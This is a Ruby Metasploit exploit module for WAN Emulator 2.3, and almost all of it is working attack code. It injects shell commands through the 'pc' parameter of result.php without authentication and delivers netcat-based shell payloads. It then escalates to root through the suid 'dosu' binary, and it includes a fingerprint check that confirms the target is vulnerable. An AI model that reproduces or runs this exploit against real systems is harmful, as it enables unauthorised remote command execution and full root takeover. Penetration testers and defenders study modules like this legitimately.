WAN Emulator 2.3 Command Execution

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'WAN Emulator v2.3 Command Execution',  
'Description' => %q{  
This module exploits a command execution vulnerability in WAN Emulator  
version 2.3 which can be abused to allow unauthenticated users to execute  
arbitrary commands under the context of the 'www-data' user.  
The 'result.php' script calls shell_exec() with user controlled data  
from the 'pc' parameter. This module also exploits a command execution  
vulnerability to gain root privileges. The 'dosu' binary is suid 'root'  
and vulnerable to command execution in argument one.  
},  
'License' => MSF_LICENSE,  
'Privileged' => true,  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Author' =>  
[  
'Brendan Coles <bcoles[at]gmail.com>', # Discovery and exploit  
],  
'References' =>  
[  
['URL', 'http://itsecuritysolutions.org/2012-08-12-wanem-v2.3-multiple-vulnerabilities/']  
#['OSVDB', ''],  
#['EDB', ''],  
],  
'Payload' =>  
{  
'Space' => 1024,  
'BadChars' => "\x00\x22\x27",  
'DisableNops' => true,  
'Compat' =>  
{  
'PayloadType' => 'cmd',  
'RequiredCmd' => 'generic netcat-e',  
}  
},  
'DefaultOptions' =>  
{  
'ExitFunction' => 'none'  
},  
'Targets' =>  
[  
['Automatic Targeting', { 'auto' => true }]  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Aug 12 2012'  
))  
end  
  
def on_new_session(client)  
client.shell_command_token("/UNIONFS/home/perc/dosu /bin/sh")  
end  
  
def check  
@peer = "#{rhost}:#{rport}"  
fingerprint = Rex::Text.rand_text_alphanumeric(rand(8)+4)  
data = "pc=127.0.0.1; "  
data << Rex::Text.uri_encode("echo #{fingerprint}")  
data << "%26"  
print_status("#{@peer} - Sending check")  
  
begin  
res = send_request_cgi({  
'uri' => '/WANem/result.php',  
'method' => 'POST',  
'data' => data  
}, 25)  
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout  
print_error("#{@peer} - Connection failed")  
return Exploit::CheckCode::Unknown  
end  
  
if res and res.code == 200 and res.body =~ /#{fingerprint}/  
return Exploit::CheckCode::Vulnerable  
else  
return Exploit::CheckCode::Safe  
end  
end  
  
def exploit  
@peer = "#{rhost}:#{rport}"  
data = "pc=127.0.0.1; "  
data << Rex::Text.uri_encode(payload.raw)  
data << "%26"  
print_status("#{@peer} - Sending payload (#{payload.raw.length} bytes)")  
begin  
res = send_request_cgi({  
'uri' => '/WANem/result.php',  
'method' => 'POST',  
'data' => data  
}, 25)  
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout  
print_error("#{@peer} - Connection failed")  
end  
if res and res.code == 200  
print_good("#{@peer} - Payload sent successfully")  
else  
print_error("#{@peer} - Sending payload failed")  
end  
end  
  
end  
`